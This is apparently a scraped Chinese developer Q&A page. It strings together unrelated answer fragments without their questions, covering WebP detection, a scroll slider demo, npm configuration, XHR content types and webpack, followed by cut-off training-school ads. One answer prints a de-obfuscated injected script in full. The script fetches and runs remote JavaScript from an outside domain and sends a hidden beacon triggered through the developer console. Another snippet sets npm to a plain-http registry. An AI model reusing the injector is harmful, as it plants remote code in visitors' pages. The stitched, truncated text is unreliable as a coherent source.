不就是同時改變旋轉值么
這有什么難點嗎。。。
rotate3d(0,xxdeg,xxdeg)
最終我還是采用了另一種方案。在根目錄的static目錄下新建一個css目錄,此目錄下保存2份css文件。分別為:picture.css(此樣式表只保存所有需要轉換為webp圖片的原始路徑)和webp.css(此樣式表只保存所有需要轉換為webp圖片的webp路徑)。然后在index.html的<script>標簽里判斷瀏覽器是否支持webp格式,如果支持就載入webp.css,并且在localStorage里埋下webpSupport:true的屬性。否則就載入picture.css。下次進入app,只需要判斷l(xiāng)ocalStorage下的webpSupport屬性,即可加載對應的樣式表。此方法的缺點,就是需要額外保存2個樣式表文件,來分別保存原格式和webp格式的路徑。但是優(yōu)點是避免了用less的方法,多出了額外的圖片請求。以下是index.html中的業(yè)務邏輯代碼。
(function() {
let styleTag = document.getElementById('pictureStyle')
// 判斷是否有webpSupporta: true這個storage
if (!localStorage.getItem('webpSupport')) {
let image = new Image()
// 圖片加載完成時候的操作
image.onload = function() {
// 圖片加載成功且寬度為1,那么就代表支持webp了,因為這張base64圖是webp格式.如果不支持會觸發(fā)image.error方法
if (image.width == 1) {
localStorage.setItem('webpSupport', true)
styleTag.setAttribute('href', '/static/css/webp.css')
} else {
styleTag.setAttribute('href', '/static/css/picture.css')
}
}
// 一張支持alpha透明度的webp的圖片,使用base64編碼
image.src = 'data:image/webp;base64,UklGRkoAAABXRUJQVlA4WAoAAAAQAAAAAAAAAAAAQUxQSAwAAAARBxAR/Q9ERP8DAABWUDggGAAAABQBAJ0BKgEAAQAAAP4AAA3AAP7mtQAAAA=='
} else {
styleTag.setAttribute('href', '/static/css/webp.css')
}
}())
axios有api
自己回答吧,目前不知道如何將制作的jar所依賴的jar直接跟代碼打包到一起,現(xiàn)在是只打包代碼
我試了這兩個都可以,先說上面的吧
這里我只選擇了代碼,右邊的框的選項我沒有動,左邊選擇了web-inf的話依賴的jar也會打包進去,然后完成,項目里要使用這個jar的話需要給項目里添加這個jar所依賴的jar才能用
再說下面的吧
這個打開之后選擇上面的下拉框選中要打包的項目,選項分為項目名和好像是有main方法的類吧,然后自己看著選一個
選好之后在看下面一點的單選這里,我用的是第三個,這個可以將代碼打成jar并且將所依賴的jar也放到了一個文件夾中,文件夾跟打成的jar是一個目錄下在.沒了
你是說BASE_URL
這種嗎?我是直接寫在index.html
里的一個script標簽里的:
<script>
var BASE_URL="www.aaa.com:8080/api/"
<script>
反正寫在js里,別人要扒也能輕易扒到。
bootstrap down下拉框依賴bootstrap.js文件,添加即可,需要注意的是bootstrap.css和bootstrap.js的版本需一致且不要低于3.3.5的版本,還有一個地方要注意,bootstrap-table及bootstrap 3.3.5依賴jquery的版本不要低于1.9.1,按照上述說法去做不會有問題的
newLoadPath
這個函數(shù)內部代碼呢?
在這個函數(shù)內通過怎樣的計算得出everyPaths
頁面滾動進度同步變化你就自己寫了吧
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<style>
#div1 {
width: 600px;
height: 20px;
background: #CCCCCC;
position: relative;
margin: auto;
}
#div2 {
width: 20px;
height: 20px;
background: #000000;
position: absolute;
top: 0;
left: 0;
}
#div3 {
width: 400px;
height: 300px;
border: 1px solid black;
position: relative;
overflow: hidden;
}
#div4 {
position: absolute;
top: 0;
left: 0;
}
</style>
<script>
window.onload = function () {
var oDiv1 = document.getElementById('div1')
var oDiv2 = document.getElementById('div2')
var oDiv3 = document.getElementById('div3')
var oDiv4 = document.getElementById('div4')
var disX = 0;
oDiv2.onmousedown = function (ev) {
var oEvent = ev || event;
disX = oEvent.clientX - oDiv2.offsetLeft;
document.onmousemove = function (ev) {
var oEvent = ev || event;
var l = oEvent.clientX - disX;
if (l < 0) {
l = 0;
} else if (l > oDiv1.offsetWidth - oDiv2.offsetWidth) {
l = oDiv1.offsetWidth - oDiv2.offsetWidth
}
oDiv2.style.left = l + 'px';
var scale = l / (oDiv1.offsetWidth - oDiv2.offsetWidth);
oDiv4.style.top = -scale * (oDiv4.offsetHeight - oDiv3.offsetHeight) + 'px';
}
document.onmouseup = function (ev) {
var oEvent = ev || event;
document.onmousemove = null;
document.onmouseup = null;
}
return false;
}
}
</script>
</head>
<body>
<div id="div1">
<div id="div2"></div>
</div>
<div id="div3">
<div id="div4">
在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。
</div>
</div>
</body>
</html>
我用火狐,需要使用 document.execCommand('copy' , false)
。寬度倒是沒影響。
又是引用問題
var a = {};
var b = a;
b.id = 1;
console.log(a)//{ id: 1 }
npm安裝模塊默認為 shell 的當前目錄。如果要裝成全局的,使用 npm install xss -g
npm help install里的描述是:
Packages are dropped into the node_modules folder under the prefix. Global installs on Unix systems go to {prefix}/lib/node_modules. Global installs on Windows go to {prefix}/node_modules (that is,no lib folder.)
1
翻譯出來大意是:Packages 安裝進 prefix 前綴的 node_modules。Unix系統(tǒng)里 Global 安裝會裝進 {prefix}/lib/node_modules。Windows系統(tǒng)里則是 {prefix}/node_modules (就是說沒有 lib 文件夾)。
1
通過 npm config ls 可列出 prefix 的配置修改 prefix 可以 npm config set prefix “f:\node”
不推薦使用cnpm,推薦用npm,npm config set registry http://registry.npm.taobao.org/
這樣改完就不會很慢了。
1, a=2;是相對于第一行的var a=1;而來的,主要演示變量的作用域問題.
2, 在函數(shù)表達式(就是括號括起來的函數(shù)部分)中,a的作用就是函數(shù)本身,用于自身引用(比如遞歸),是一個"被污染"的變量名.下面的賦值和刪除都無法對a進行操作,因為它就不是一個常規(guī)的變量.
請問怎么改造可以讓后臺POST時候收到收到參
從network
看你前端本來就沒問題,而問題就變成后端接收不到參數(shù),那么后端可以處理什么content-type
呢?(這是接口定義的問題,人家定義不接受form data
你發(fā)過去有啥用)
一開始以為你是發(fā)送請求的截圖,原來是后臺給的成功實例。。
當然有問題,application/x-www-form-urlencoded
發(fā)送數(shù)據(jù)的格式是a=b&c=d
,而你發(fā)的是json
字符串,你可以用qs
模塊轉一下。
if (type == 'POST') {
sendData = JSON.stringify(data);
}
requestObj.open(type, url, true);
requestObj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
requestObj.send(sendData);
然后以后有關Network
的問題,有什么不成功請截個圖發(fā)出來才能看到你到底發(fā)送了什么。
去掉故弄玄虛的變量名后, 實際作用就是
http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js")
這個地址(function() {
try {
var insertScript = function(scriptUrl, scriptId) {
var scriptDom = document.createElement("script");
scriptDom.type = "text/javascript";
scriptId && (scriptDom.id = scriptId);
scriptDom.src = scriptUrl;
document.getElementsByTagName("head")[0].appendChild(scriptDom);
};
var insertImgTimer = setInterval(function() {
var img = new Image();
Object.defineProperty(img, "id", {
get: function() {
img.src = "http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js");
clearInterval(insertImgTimer);
}
});
window.console && (window.console.log(img), window.console.clear());
}, 2e3);
document.getElementById("__z_") || self == top && (insertScript("http://xs.1drj.com/?tsliese=27311189", "__z_"));
if(document.currentScript && (document.currentScript.defer || document.currentScript.async)) {
insertScript("http://xxxxx.com/js/rem.js");
} else {
document.write('<script src="http://xxxxx.com/js/rem.js"></script>');
}
} catch(e) {};
})()
chrome測試了一下未復現(xiàn)你的問題
sideEffects
是說模塊內有沒有立即執(zhí)行的代碼, 此類代碼通常會產(chǎn)生副作用. 比如:
// a.js 文件
// 副作用, 在 import a 時發(fā)生
document.body.appendChild(document.createElement('div'));
// 導出的模塊
export default function foo() {};
通過 sideEffects
標記, 可以通知 webpack
使用一種更簡便高效的方式來實現(xiàn)代碼裁剪.
北大青鳥APTECH成立于1999年。依托北京大學優(yōu)質雄厚的教育資源和背景,秉承“教育改變生活”的發(fā)展理念,致力于培養(yǎng)中國IT技能型緊缺人才,是大數(shù)據(jù)專業(yè)的國家
北大青鳥中博軟件學院創(chuàng)立于2003年,作為華東區(qū)著名互聯(lián)網(wǎng)學院和江蘇省首批服務外包人才培訓基地,中博成功培育了近30000名軟件工程師走向高薪崗位,合作企業(yè)超4
中公教育集團創(chuàng)建于1999年,經(jīng)過二十年潛心發(fā)展,已由一家北大畢業(yè)生自主創(chuàng)業(yè)的信息技術與教育服務機構,發(fā)展為教育服務業(yè)的綜合性企業(yè)集團,成為集合面授教學培訓、網(wǎng)
達內教育集團成立于2002年,是一家由留學海歸創(chuàng)辦的高端職業(yè)教育培訓機構,是中國一站式人才培養(yǎng)平臺、一站式人才輸送平臺。2014年4月3日在美國成功上市,融資1
曾工作于聯(lián)想擔任系統(tǒng)開發(fā)工程師,曾在博彥科技股份有限公司擔任項目經(jīng)理從事移動互聯(lián)網(wǎng)管理及研發(fā)工作,曾創(chuàng)辦藍懿科技有限責任公司從事總經(jīng)理職務負責iOS教學及管理工作。
浪潮集團項目經(jīng)理。精通Java與.NET 技術, 熟練的跨平臺面向對象開發(fā)經(jīng)驗,技術功底深厚。 授課風格 授課風格清新自然、條理清晰、主次分明、重點難點突出、引人入勝。
精通HTML5和CSS3;Javascript及主流js庫,具有快速界面開發(fā)的能力,對瀏覽器兼容性、前端性能優(yōu)化等有深入理解。精通網(wǎng)頁制作和網(wǎng)頁游戲開發(fā)。
具有10 年的Java 企業(yè)應用開發(fā)經(jīng)驗。曾經(jīng)歷任德國Software AG 技術顧問,美國Dachieve 系統(tǒng)架構師,美國AngelEngineers Inc. 系統(tǒng)架構師。